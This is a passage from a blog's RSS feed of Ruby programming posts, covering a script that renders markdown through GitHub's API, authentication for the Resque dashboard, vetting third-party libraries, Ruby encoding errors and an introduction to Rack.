succeeded:</p>
<div class="highlight highlight-source-shell"><pre><span class="pl-c"><span class="pl-c">#</span> Generate blog-post.html. If successful, run `./publish`, otherwise, print an error message</span>
cat blog-post.md \
  <span class="pl-k">|</span> ./markdown <span class="pl-k">&gt;</span> blog-post.html <span class="pl-k">&amp;&amp;</span> ./publish <span class="pl-k">||</span> <span class="pl-c1">echo</span> <span class="pl-s"><span class="pl-pds">"</span>failed to publish blog-post.html<span class="pl-pds">"</span></span></pre></div>
<p>A successful exit is <code>0</code>, with any other number indicating something went wrong.
Unfortunately, if we ran the above, we would always publish and never see the
error message even if curl failed. Our script doesn't call <code>exit</code> explicitly, so
we always exit <code>0</code> -- even when GitHub's API isn't accessible.</p>
<p>Since the last thing our script run is <code>curl</code>, our script should exit with
<code>curl</code>'s exit code. Our current call to <code>Open3.popen3</code> saves three of the return
values, but the method actually returns four. We will use this fourth value to
query for <code>curl</code>'s exit code.</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-c"># snip</span>

<span class="pl-c"># We add a -f flag so that non-200 responses fail with an exit code of 22</span>
<span class="pl-s1">curl_cmd</span> <span class="pl-c1">=</span> <span class="pl-s">%Q(curl -f -s -H 'Content-Type: text/plain' https://api.github.com/markdown -d'@-')</span>

<span class="pl-c"># `stdin`, `stdout`, `stderr` are the respective file handlers for the curl command</span>
<span class="pl-c"># `thread` is a `Thread` instance representing the command we're running</span>
<span class="pl-s1">stdin</span><span class="pl-kos">,</span> <span class="pl-s1">stdout</span><span class="pl-kos">,</span> <span class="pl-s1">stderr</span><span class="pl-kos">,</span> <span class="pl-s1">thread</span> <span class="pl-c1">=</span> <span class="pl-v">Open3</span><span class="pl-kos">.</span><span class="pl-en">popen3</span><span class="pl-kos">(</span><span class="pl-s1">curl_cmd</span><span class="pl-kos">)</span>

<span class="pl-c"># snip</span>

<span class="pl-c"># thread.value is a `Process::Status`. We exit our script with whatever curl's</span>
<span class="pl-c"># exit code was.</span>
<span class="pl-en">exit</span> <span class="pl-s1">thread</span><span class="pl-kos">.</span><span class="pl-en">value</span><span class="pl-kos">.</span><span class="pl-en">exitstatus</span></pre></div>
<div class="markdown-heading"><h2 class="heading-element">Conclusion</h2><a id="user-content-conclusion" class="anchor" aria-label="Permalink: Conclusion" href="#conclusion"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>By following these simple conventions, our scripts work well with other existing
Unix tools. This allows us to quickly prototype things that would otherwise
require a lot of setup and dependencies. Since the scripts aim to handle a
single task, we are more likely to reuse the script for tasks that we didn't
original intend for the script to handle.</p>
<p>Our final source listing is:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-c">#/usr/bin/env ruby</span>
<span class="pl-en">require</span> <span class="pl-s">"json"</span>
<span class="pl-en">require</span> <span class="pl-s">"open3"</span>

<span class="pl-s1">markdown_file</span> <span class="pl-c1">=</span> <span class="pl-c1">ARGV</span><span class="pl-kos">.</span><span class="pl-en">first</span>
<span class="pl-s1">payload</span> <span class="pl-c1">=</span> <span class="pl-kos">{</span> <span class="pl-pds">:text</span> <span class="pl-c1">=&gt;</span> <span class="pl-v">File</span><span class="pl-kos">.</span><span class="pl-en">read</span><span class="pl-kos">(</span><span class="pl-s1">markdown_file</span><span class="pl-kos">)</span> <span class="pl-kos">}</span><span class="pl-kos">.</span><span class="pl-en">to_json</span>

<span class="pl-c"># Curl command to post STDIN to GitHub's markdown API</span>
<span class="pl-c">#</span>
<span class="pl-c"># -f: non-200 responses fail with an exit code of 22</span>
<span class="pl-c"># -s: silent</span>
<span class="pl-c"># -H: http headers</span>
<span class="pl-s1">curl_cmd</span> <span class="pl-c1">=</span> <span class="pl-s">%Q(curl -f -s -H 'Content-Type: text/plain' https://api.github.com/markdown -d'@-')</span>

<span class="pl-c"># `stdin`, `stdout`, `stderr` are the respective file handlers for the curl command</span>
<span class="pl-c"># `thread` is a `Thread` instance representing the command we're running</span>
<span class="pl-s1">stdin</span><span class="pl-kos">,</span> <span class="pl-s1">stdout</span><span class="pl-kos">,</span> <span class="pl-s1">stderr</span><span class="pl-kos">,</span> <span class="pl-s1">thread</span> <span class="pl-c1">=</span> <span class="pl-v">Open3</span><span class="pl-kos">.</span><span class="pl-en">popen3</span><span class="pl-kos">(</span><span class="pl-s1">curl_cmd</span><span class="pl-kos">)</span>

<span class="pl-c"># Take the json we built and give it to curl via it's stdin. We have to</span>
<span class="pl-c"># explicitly close it's stdin before we can access it's stdout. Otherwise, curl</span>
<span class="pl-c"># will keep waiting for more input.</span>
<span class="pl-s1">stdin</span><span class="pl-kos">.</span><span class="pl-en">puts</span> <span class="pl-s1">payload</span>
<span class="pl-s1">stdin</span><span class="pl-kos">.</span><span class="pl-en">close</span>

<span class="pl-c"># Print out curl's output to stdout and stderr</span>
<span class="pl-en">puts</span> <span class="pl-s1">stdout</span><span class="pl-kos">.</span><span class="pl-en">read</span>
$stderr<span class="pl-kos">.</span><span class="pl-en">puts</span> <span class="pl-s1">stderr</span><span class="pl-kos">.</span><span class="pl-en">read</span>

<span class="pl-c"># thread.value is a `Process::Status`. We exit our script with whatever curl's</span>
<span class="pl-c"># exit code was.</span>
<span class="pl-en">exit</span> <span class="pl-s1">thread</span><span class="pl-kos">.</span><span class="pl-en">value</span><span class="pl-kos">.</span><span class="pl-en">exitstatus</span></pre></div>
<p>I use this to generate the markup for this blog. The full source is available at
<a href="https://github.com/jch/jsg">jch/jsg</a>.</p>
  ]]></description>
</item>

<item>
  <title>Protecting Resque::Server</title>
  <link>https://jch.github.io/posts/2013-05-17-protecting-resque-server.html
</link>
  <guid>https://jch.github.io/posts/2013-05-17-protecting-resque-server.html
</guid>
  <pubDate>Fri, 17 May 2013 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>Resque ships with a Sinatra app that can be mounted within your application for
inspecting the status of your workers and jobs. By default, there's no
authentication built in. But thanks to the fact that Sinatra is rack-able, you
can put a middleware in front of it for handling authentication. For example, to
add HTTP Basic auth, you can use Rack's built-in
<a href="https://github.com/chneukirchen/rack/blob/master/lib/rack/auth/basic.rb">Rack::Auth::Basic</a>.</p>
<div class="markdown-heading"><h3 class="heading-element">HTTP Basic authentication</h3><a id="user-content-http-basic-authentication" class="anchor" aria-label="Permalink: HTTP Basic authentication" href="#http-basic-authentication"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<div class="highlight highlight-source-ruby"><pre><span class="pl-s1">protected_app</span> <span class="pl-c1">=</span> <span class="pl-v">Rack</span>::<span class="pl-v">Auth</span>::<span class="pl-v">Basic</span><span class="pl-kos">.</span><span class="pl-en">new</span><span class="pl-kos">(</span><span class="pl-v">Resque</span>::<span class="pl-v">Server</span><span class="pl-kos">)</span> <span class="pl-k">do</span> |<span class="pl-s1">username</span><span class="pl-kos">,</span> <span class="pl-s1">password</span>|
  <span class="pl-s1">password</span> == <span class="pl-s">'some-secret'</span>
<span class="pl-k">end</span>

<span class="pl-c"># mount protected_app in Rails, or other rack application…</span></pre></div>
<p>This kind of works, but I always forget the password and have to look it up. It
also sucks for on boarding new developers since it's not very discoverable. An
improved solution is to piggyback onto your existing authentication system. For
one of our apps, we use Devise, which exposes the user object in the Rack <code>env</code>
object. Roughly, our rescue authentication looks like:</p>
<div class="markdown-heading"><h3 class="heading-element">Devise or other authentication library</h3><a id="user-content-devise-or-other-authentication-library" class="anchor" aria-label="Permalink: Devise or other authentication library" href="#devise-or-other-authentication-library"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<div class="highlight highlight-source-ruby"><pre><span class="pl-c"># config/initializers/resque.rb</span>
<span class="pl-k">class</span> <span class="pl-v">AuthenticatedMiddleware</span>
  <span class="pl-k">def</span> <span class="pl-en">initialize</span><span class="pl-kos">(</span><span class="pl-s1">app</span><span class="pl-kos">)</span>
    <span class="pl-c1">@app</span> <span class="pl-c1">=</span> <span class="pl-s1">app</span>
  <span class="pl-k">end</span>

  <span class="pl-k">def</span> <span class="pl-en">call</span><span class="pl-kos">(</span><span class="pl-s1">env</span><span class="pl-kos">)</span>
    <span class="pl-k">if</span> <span class="pl-s1">env</span><span class="pl-kos">[</span><span class="pl-s">'warden'</span><span class="pl-kos">]</span><span class="pl-kos">.</span><span class="pl-en">authenticated?</span> &amp;&amp; <span class="pl-s1">env</span><span class="pl-kos">[</span><span class="pl-s">'warden'</span><span class="pl-kos">]</span><span class="pl-kos">.</span><span class="pl-en">user</span><span class="pl-kos">.</span><span class="pl-en">staff?</span>
      <span class="pl-c1">@app</span><span class="pl-kos">.</span><span class="pl-en">call</span><span class="pl-kos">(</span><span class="pl-s1">env</span><span class="pl-kos">)</span>
    <span class="pl-k">else</span>
      <span class="pl-kos">[</span><span class="pl-c1">403</span><span class="pl-kos">,</span> <span class="pl-kos">{</span><span class="pl-s">'Content-Type'</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'text/plain'</span><span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-kos">[</span><span class="pl-s">'Authenticate first'</span><span class="pl-kos">]</span><span class="pl-kos">]</span>
    <span class="pl-k">end</span>
  <span class="pl-k">end</span>
<span class="pl-k">end</span>

<span class="pl-v">Resque</span>::<span class="pl-v">Server</span><span class="pl-kos">.</span><span class="pl-en">use</span><span class="pl-kos">(</span><span class="pl-v">AuthenticatedMiddleware</span><span class="pl-kos">)</span>

<span class="pl-c"># config/routes.rb</span>
<span class="pl-en">mount</span> <span class="pl-v">Resque</span>::<span class="pl-v">Server</span><span class="pl-kos">,</span> <span class="pl-pds">:at</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'/resque'</span></pre></div>
<p>If the main application is a Rails app, you can also use <a href="http://guides.rubyonrails.org/routing.html#advanced-constraints" rel="nofollow">routing
constraints</a> to
limit access. The benefit here is the Rail request and session object are
available. For example, in another internal-only application, we only check that
the session includes a user id:</p>
<div class="markdown-heading"><h3 class="heading-element">Rails route contraints</h3><a id="user-content-rails-route-contraints" class="anchor" aria-label="Permalink: Rails route contraints" href="#rails-route-contraints"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<div class="highlight highlight-source-ruby"><pre><span class="pl-c"># config/routes.rb</span>
<span class="pl-k">class</span> <span class="pl-v">SessionAuthenticatedConstraint</span>
  <span class="pl-k">def</span> <span class="pl-smi">self</span><span class="pl-kos">.</span><span class="pl-en">matches?</span><span class="pl-kos">(</span><span class="pl-s1">request</span><span class="pl-kos">)</span>
    !<span class="pl-s1">request</span><span class="pl-kos">.</span><span class="pl-en">session</span><span class="pl-kos">[</span><span class="pl-pds">:user_id</span><span class="pl-kos">]</span><span class="pl-kos">.</span><span class="pl-en">blank?</span>
  <span class="pl-k">end</span>
<span class="pl-k">end</span>

<span class="pl-en">constraints</span><span class="pl-kos">(</span><span class="pl-v">SessionAuthenticatedConstraint</span><span class="pl-kos">)</span> <span class="pl-k">do</span>
  <span class="pl-en">mount</span> <span class="pl-v">Resque</span>::<span class="pl-v">Server</span><span class="pl-kos">,</span> <span class="pl-pds">:at</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'/resque'</span>
<span class="pl-k">end</span></pre></div>
<p>Overall, I prefer the last approach because it's easy to understand, easy to
test, idiomatic of Rails conventions, and short.</p>
<p>Shout outs to
<a href="https://twitter.com/kdaigle" rel="nofollow">@kdaigle</a> for code reviewing me and suggesting the
last approach, and <a href="https://twitter.com/jonmagic" rel="nofollow">@jonmagic</a> for reviewing this post.</p>
  ]]></description>
</item>

<item>
  <title>Interview your libraries</title>
  <link>https://jch.github.io/posts/2013-05-09-interview-your-libraries.html
</link>
  <guid>https://jch.github.io/posts/2013-05-09-interview-your-libraries.html
</guid>
  <pubDate>Thu, 09 May 2013 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>I love working with John Barnette, even if we don't work on the same stuff
regularly. The other day, he wrote this in a discussion:</p>
<blockquote>
<p>Every time we bring in an external library, we inherit its opinions,
shortcomings, idioms, and taste. This isn't a reason to rewrite everything
ourselves, but it's good for us to interview libraries like we interview new
GitHubbers.</p>
</blockquote>
<p>I loved this. In two short sentences, Barnette summed up why we should
evaluate new dependencies before adding them to an existing project.</p>
<div class="markdown-heading"><h2 class="heading-element">Why not drop in a library?</h2><a id="user-content-why-not-drop-in-a-library" class="anchor" aria-label="Permalink: Why not drop in a library?" href="#why-not-drop-in-a-library"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>It's tempting to add a library that promises to do 90% of your goal. But that
instant gratification often comes with delayed hidden costs. Things I've been
bitten by in the past include:</p>
<ul>
<li>Security. It's hard, and no one gets it right the first time.</li>
<li>Performance. Sure it works in the simple case, but does it scale?</li>
<li>Complexity. It's not worth importing a kitchen sink if you're only
planning to use one small method.</li>
<li>Lack of benefit. Some libraries just don't buy you very much.
Syntactic sugar is nice if it wraps an ugly interface, but if it doesn't,
it means keeping two interfaces in you head while you work.</li>
<li>Organizational cost. Does your team know how to use it? If not,
is it worth it for them to pick it up? It's better to choose something plainer,
simpler, and more explicit if it means the rest of your team can easily
understand and work with it.</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">What about frameworks and ORMs?</h2><a id="user-content-what-about-frameworks-and-orms" class="anchor" aria-label="Permalink: What about frameworks and ORMs?" href="#what-about-frameworks-and-orms"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I've worked with Rails for a long time now, and I have a good sense of where
to poke around if I have questions. But let's be honest, with 183 commits made
by 63 authors in the last week alone, I'll never <em>know</em> Rails inside and out.</p>
<p><a target="_blank" rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/9d9c66f2f5659113db86bebe0c80c58a187a6046145f3a66d0c649d1a06629f4/687474703a2f2f662e636c2e6c792f6974656d732f307130613171326a334f3243316d3145335031592f53637265656e25323053686f74253230323031332d30352d30372532306174253230382e34322e3239253230504d2e706e67"><img src="https://camo.githubusercontent.com/9d9c66f2f5659113db86bebe0c80c58a187a6046145f3a66d0c649d1a06629f4/687474703a2f2f662e636c2e6c792f6974656d732f307130613171326a334f3243316d3145335031592f53637265656e25323053686f74253230323031332d30352d30372532306174253230382e34322e3239253230504d2e706e67" alt="" data-canonical-src="http://f.cl.ly/items/0q0a1q2j3O2C1m1E3P1Y/Screen%20Shot%202013-05-07%20at%208.42.29%20PM.png" style="max-width: 100%;"></a></p>
<p>Rails is large and complex. Yet, I'm happy to use it daily in my project. Why?
Because I trust the project and community to stick around. It'd be a pain to
rewrite what Rails buys you. Plus, the documentation is great, there are
timely security patches, and my team knows how to use it.</p>
<div class="markdown-heading"><h2 class="heading-element">Go with your gut</h2><a id="user-content-go-with-your-gut" class="anchor" aria-label="Permalink: Go with your gut" href="#go-with-your-gut"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>None of the hidden costs I listed above are hard rules for rejecting a
library. But the next time you think about adding a library to your codebase,
grill it with some hard questions and see if it's worth adding.</p>
  ]]></description>
</item>

<item>
  <title>Ruby Incompatible Encoding Errors</title>
  <link>https://jch.github.io/posts/2013-03-05-ruby-incompatible-encoding.html
</link>
  <guid>https://jch.github.io/posts/2013-03-05-ruby-incompatible-encoding.html
</guid>
  <pubDate>Tue, 05 Mar 2013 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>String encodings is like air. Completely necessary and never on your mind
until something goes wrong. Encoding bugs are painful and often feel like the
black arts. Follow the jump for an aggregation of past experiences for solving
these tricky problems.</p>
<div class="markdown-heading"><h2 class="heading-element">Background</h2><a id="user-content-background" class="anchor" aria-label="Permalink: Background" href="#background"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The first time you think of encodings in Ruby is probably the first time you
see an exception along the lines of:</p>
<pre><code>incompatible character encodings: ASCII-8BIT and UTF-8
</code></pre>
<p>Before you pull out your hair, I recommend reading <a href="http://blog.grayproductions.net/articles/understanding_m17n" rel="nofollow">James Edward Grey
II's</a> in depth
coverage on why and what encodings are. Markus Prinz's <a href="http://nuclearsquid.com/writings/ruby-1-9-encodings/" rel="nofollow">Working with Encodings
in Ruby 1.9</a> is also a
good read. Go ahead, this article will wait.</p>
<p>The core cause of the above error is when your code tries to mash two strings
with different encodings together. For example, trying to glue a UTF-8 Chinese
string to an ASCII-8BIT English string. They're hard to hunt down because the
error is generated in C code and doesn't descend from the Exception class.
This means you can't <code>rescue</code> the error to inspect it. Your best tool for
finding the origin of the error is to learn about the <a href="http://ruby-doc.org/core-2.0/Encoding.html" rel="nofollow">Encoding</a>
module. Once you're familiar with that API, it's easy to inspect the encoding
to check it's what you expected.</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-s">"some string"</span><span class="pl-kos">.</span><span class="pl-en">encoding</span>
<span class="pl-s">"some string"</span><span class="pl-kos">.</span><span class="pl-en">force_encoding</span><span class="pl-kos">(</span><span class="pl-s">'UTF-8'</span><span class="pl-kos">)</span></pre></div>
<div class="markdown-heading"><h3 class="heading-element">Rails</h3><a id="user-content-rails" class="anchor" aria-label="Permalink: Rails" href="#rails"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Rails defaults to UTF-8 for encoding. You can change it via application.rb
with:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-en">config</span><span class="pl-kos">.</span><span class="pl-en">encoding</span> <span class="pl-c1">=</span> <span class="pl-s">'UTF-8'</span></pre></div>
<p>Yehuda Katz has a <a href="http://yehudakatz.com/2010/05/05/ruby-1-9-encodings-a-primer-and-the-solution-for-rails/" rel="nofollow">good write
up</a>
describing the problem. The long term solution is to have
libraries that deal with external strings to respect
<code>Encoding.default_internal</code></p>
<div class="markdown-heading"><h3 class="heading-element">Databases</h3><a id="user-content-databases" class="anchor" aria-label="Permalink: Databases" href="#databases"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>To make sure your database uses the correct encoding, set your connection
adapter to the correct encoding:</p>
<pre><code># config/database.yml
development:
  encoding: unicode
</code></pre>
<div class="markdown-heading"><h3 class="heading-element">Views</h3><a id="user-content-views" class="anchor" aria-label="Permalink: Views" href="#views"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>When template views are read in from the filesystem, it respects the global
ruby default for encoding. This can be overridden by a special shebang-like
declaration at the top of the file:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-c"># encoding: utf-8</span></pre></div>
<p>Check out <a href="http://api.rubyonrails.org/classes/ActionView/Template.html#method-i-encode-21" rel="nofollow">ActionView::Template#encode!</a>
for more details.</p>
<p>If you're seeing an incompatible encoding error in a view, it's possible that
it's caused by rendering a value from an external gem or string. Remember that
the <code>render</code> method returns a string. A quick way to inspect that your
partials are in the correct encoding is to save the result of a partial into a
variable and print it's encoding:</p>
<div class="highlight highlight-source-ruby"><pre>&lt;% <span class="pl-s1">output</span> <span class="pl-c1">=</span> <span class="pl-en">render</span><span class="pl-kos">(</span><span class="pl-pds">:partial</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'some/partial'</span><span class="pl-kos">)</span> %&gt;
&lt;%= <span class="pl-s1">output</span><span class="pl-kos">.</span><span class="pl-en">encoding</span> %&gt;</pre></div>
<div class="markdown-heading"><h3 class="heading-element">Heroku</h3><a id="user-content-heroku" class="anchor" aria-label="Permalink: Heroku" href="#heroku"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Don't [forget to set your environment
variable](<a href="http://stackoverflow.com/questions/7612912/set-utf-8-as-default-" rel="nofollow">http://stackoverflow.com/questions/7612912/set-utf-8-as-default-</a>
string-encoding-in-heroku) to the correct default encoding.</p>
<div class="highlight highlight-source-shell"><pre>$ heroku config:add LANG=en_US.UTF-8</pre></div>
  ]]></description>
</item>

<item>
  <title>Ruby on Rack</title>
  <link>https://jch.github.io/posts/2012-07-23-ruby-on-rack.html
</link>
  <guid>https://jch.github.io/posts/2012-07-23-ruby-on-rack.html
</guid>
  <pubDate>Mon, 23 Jul 2012 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>Rack is a simple and flexible library for building Ruby web applications and
web frameworks. It powers frameworks like Rails and Sinatra, and can be used
to build custom reusable components called Rack middleware. If you develop web
apps with Ruby, you're likely using Rack even if you're unaware of it. While
it's typically used to build low-level abstractions close to HTTP, knowing how
to use it leads to more modular designs and allows you to leverage a large
list of existing Rack components. In this post, I introduce what Rack is step
by step, and point towards some useful applications in the wild.</p>
<p>Rack [was released in 2007](<a href="http://chneukirchen.org/blog/archive/2007/02" rel="nofollow">http://chneukirchen.org/blog/archive/2007/02</a>
/introducing-rack.html) by Christian Neukirchen. The <a href="http://rack.rubyforge.org/doc/README.html" rel="nofollow">project
README</a> starts with:</p>
<blockquote>
<p>Rack provides a minimal, modular and adaptable interface for developing web
applications in Ruby. By wrapping HTTP requests and responses in the
simplest way possible, it unifies and distills the API for web servers, web
frameworks, and software in between (the so-called middleware) into a single
method call.</p>
</blockquote>
<p>Confused? Don't worry, we'll go over each part individually.</p>
<blockquote>
<p>By wrapping HTTP requests and responses in the simplest way possible...</p>
</blockquote>
<p>Stepping back from Ruby, what is the 'simplest way' to think about an HTTP
request and response? Without knowing the language or framework an application
is using, the perspective from a webapp looks like:</p>
<pre><code>HTTP Request -&gt; Webapp -&gt; HTTP Response
</code></pre>
<p>An HTTP request has a method like GET or POST, a server host and port, some
uri resource path, and optionally a query string.</p>
<pre><code>GET /posts?page=2     # method, resource uri, query string
Accept: 'text/html'   # one or more HTTP headers...
Cookie: 'foo=bar'
X-Custom: 'value'
</code></pre>
<p>The web application's job is to takes this information and generate a HTTP
response like:</p>
<pre><code>200 OK
Content-Type: 'text/html'
Content-Length: 75
&lt;html&gt;
  &lt;body&gt;Hello!&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<p>Without knowing <strong>how</strong> the response was generated, the parts of an HTTP
response are the same independent of language and framework. The <code>200</code> <a href="http://en.wikipedia.org/wiki/List_of_HTTP_status_codes" rel="nofollow">status
code</a> indicates a
successful response. Additionally, <a href="http://en.wikipedia.org/wiki/List_of_HTTP_header_fields" rel="nofollow">HTTP header
fields</a> describe what
the response is.</p>
<p>Rack wraps the request and response information into one large hash called the
<strong>environment hash</strong>. Rack passes this <code>env</code> hash to your application and
expects a return value with 3 parts:</p>
<ul>
<li>
<strong>status</strong>  - an HTTP status code</li>
<li>
<strong>headers</strong> - a hash of response headers. e.g. <code>Content-Type</code>, <code>Content-Length</code>
</li>
<li>
<strong>bodies</strong>  - an array-like object that responds to <code>#each</code> and yields strings of
response content</li>
</ul>
<blockquote>
<p>[rack] unifies and distills the API for web servers, web frameworks ... into
a single method call</p>
</blockquote>
<p>The only entry point that a Rack component must implement is a method named
<code>#call</code> that takes the <code>env</code> hash as its only argument. For example, the
following is a valid Rack application:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-k">class</span> <span class="pl-v">MyApp</span>
  <span class="pl-k">def</span> <span class="pl-en">call</span><span class="pl-kos">(</span><span class="pl-s1">env</span><span class="pl-kos">)</span>
    <span class="pl-c"># env has request/response information</span>
    <span class="pl-en">puts</span> <span class="pl-s1">env</span><span class="pl-kos">[</span><span class="pl-s">'PATH_INFO'</span><span class="pl-kos">]</span>
    <span class="pl-en">puts</span> <span class="pl-s1">env</span><span class="pl-kos">[</span><span class="pl-s">'HTTP_ACCEPT'</span><span class="pl-kos">]</span>

    <span class="pl-c"># return status, headers, and response bodies.</span>
    <span class="pl-c"># note that multiple response bodies will be concatenated.</span>
    <span class="pl-kos">[</span><span class="pl-c1">200</span><span class="pl-kos">,</span> <span class="pl-kos">{</span><span class="pl-s">'Content-Type'</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'text/html'</span><span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-kos">[</span><span class="pl-s">'Hello!'</span><span class="pl-kos">]</span><span class="pl-kos">]</span>
  <span class="pl-k">end</span>
<span class="pl-k">end</span></pre></div>
<p>As an application developer, you can think in terms of the <code>env</code> hash instead
of parsing out all the HTTP values manually. The response <code>MyApp</code> generates is
returned in the last line as an array, and has the status code, headers, and
list of response bodies.</p>
<p>Rack also provides an object-oriented interface to access request information
and building responses. <code>MyApp</code> can also be written as:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-k">class</span> <span class="pl-v">MyApp</span>
  <span class="pl-k">def</span> <span class="pl-en">call</span><span class="pl-kos">(</span><span class="pl-s1">env</span><span class="pl-kos">)</span>
    <span class="pl-s1">request</span>  <span class="pl-c1">=</span> <span class="pl-v">Rack</span>::<span class="pl-v">Request</span><span class="pl-kos">.</span><span class="pl-en">new</span><span class="pl-kos">(</span><span class="pl-s1">env</span><span class="pl-kos">)</span>
    <span class="pl-s1">request</span><span class="pl-kos">.</span><span class="pl-en">get?</span>     <span class="pl-c"># is the request a GET request?</span>
    <span class="pl-s1">request</span><span class="pl-kos">.</span><span class="pl-en">params</span>   <span class="pl-c"># query parameters</span>
    <span class="pl-s1">request</span><span class="pl-kos">.</span><span class="pl-en">cookies</span>  <span class="pl-c"># yummy</span>

    <span class="pl-c"># do stuff with `request`...</span>

    <span class="pl-s1">response</span> <span class="pl-c1">=</span> <span class="pl-v">Rack</span>::<span class="pl-v">Response</span><span class="pl-kos">.</span><span class="pl-en">new</span>
    <span class="pl-s1">response</span><span class="pl-kos">[</span><span class="pl-s">'Content-Type'</span><span class="pl-kos">]</span> <span class="pl-c1">=</span> <span class="pl-s">'text/html'</span>
    <span class="pl-s1">response</span><span class="pl-kos">.</span><span class="pl-en">write</span> <span class="pl-s">'Hello!'</span>

    <span class="pl-s1">response</span><span class="pl-kos">.</span><span class="pl-en">finish</span>  <span class="pl-c"># converts object into rack expected response</span>
  <span class="pl-k">end</span>
<span class="pl-k">end</span></pre></div>
<p>We say something is <strong>rackable</strong> when it responds to a method <code>#call</code> that
takes one argument (the <code>env</code> hash), and returns a rack compatible response.
For really simple Rack components, a common shortcut is to use a
[lambda](<a href="http://www.robertsosinski.com/2008/12/21/understanding-ruby-blocks-" rel="nofollow">http://www.robertsosinski.com/2008/12/21/understanding-ruby-blocks-</a>
procs-and-lambdas/) to define an anonymous endpoint. Because lambdas and procs
respond to <code>#call</code>, it fits the Rack requirement.</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-en">lambda</span> <span class="pl-kos">{</span>|<span class="pl-s1">env</span>|
  <span class="pl-kos">[</span><span class="pl-c1">200</span><span class="pl-kos">,</span> <span class="pl-kos">{</span><span class="pl-s">'Content-Type'</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'text/plain'</span><span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-kos">[</span><span class="pl-s">'This is a valid rack app'</span><span class="pl-kos">]</span><span class="pl-kos">]</span>
<span class="pl-kos">}</span></pre></div>
<p>See the documentation for
<a href="http://rack.rubyforge.org/doc/classes/Rack/Request.html" rel="nofollow">Rack::Request</a> and
<a href="http://rack.rubyforge.org/doc/classes/Rack/Response.html" rel="nofollow">Rack::Response</a> for
details. The <a href="http://rack.rubyforge.org/doc/SPEC.html" rel="nofollow">Rack specification</a> has
a full listing of what's available in the environment hash.</p>
<p>Now that we've seen what Rack is, let's explore the benefits from implementing
this contract.</p>
<div class="markdown-heading"><h2 class="heading-element">Application Server Independence</h2><a id="user-content-application-server-independence" class="anchor" aria-label="Permalink: Application Server Independence" href="#application-server-independence"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>An application server is a library responsible for handling the plumbing of
HTTP. It takes care of things like binding to a port, listening for
connections, parsing headers, and constructing responses. Sometimes they are a
collection of tools each responsible for one part of serving a HTTP request,
other times, they may be one monolithic tool that handles all parts of the
HTTP lifecycle. Each app server has different features, allowing you to choose
one that's right for your needs.</p>
<p>Rack makes it easy to switch between app servers without touching your
application code. For example, to serve our sample application with the
builtin Ruby HTTP server WEBrick:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-en">require</span> <span class="pl-s">'rack'</span>

<span class="pl-k">class</span> <span class="pl-v">MyApp</span>
  <span class="pl-k">def</span> <span class="pl-en">call</span><span class="pl-kos">(</span><span class="pl-s1">env</span><span class="pl-kos">)</span>
    <span class="pl-kos">[</span><span class="pl-c1">200</span><span class="pl-kos">,</span> <span class="pl-kos">{</span><span class="pl-s">'Content-Type'</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'text/html'</span><span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-kos">[</span><span class="pl-s">'hello'</span><span class="pl-kos">]</span><span class="pl-kos">]</span>
  <span class="pl-k">end</span>
<span class="pl-k">end</span>

<span class="pl-v">Rack</span>::<span class="pl-v">Handler</span>::<span class="pl-v">WEBrick</span><span class="pl-kos">.</span><span class="pl-en">run</span><span class="pl-kos">(</span><span class="pl-v">MyApp</span><span class="pl-kos">.</span><span class="pl-en">new</span><span class="pl-kos">,</span> <span class="pl-kos">{</span><span class="pl-pds">:Port</span> <span class="pl-c1">=&gt;</span> <span class="pl-c1">3000</span><span class="pl-kos">}</span><span class="pl-kos">)</span></pre></div>
<p>If you wanted to use a different app server, for example Thin, then you can
change the last line to:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-v">Rack</span>::<span class="pl-v">Handler</span>::<span class="pl-v">Thin</span><span class="pl-kos">.</span><span class="pl-en">run</span><span class="pl-kos">(</span><span class="pl-v">MyApp</span><span class="pl-kos">.</span><span class="pl-en">new</span><span class="pl-kos">,</span> <span class="pl-kos">{</span><span class="pl-pds">:Port</span> <span class="pl-c1">=&gt;</span> <span class="pl-c1">3000</span><span class="pl-kos">}</span><span class="pl-kos">)</span></pre></div>
<p>Both of the above files can be directly run from the command line. See the
<a href="http://rack.rubyforge.org/doc/classes/Rack/Handler.html" rel="nofollow">Rack::Handler
documentation</a> for
details.</p>
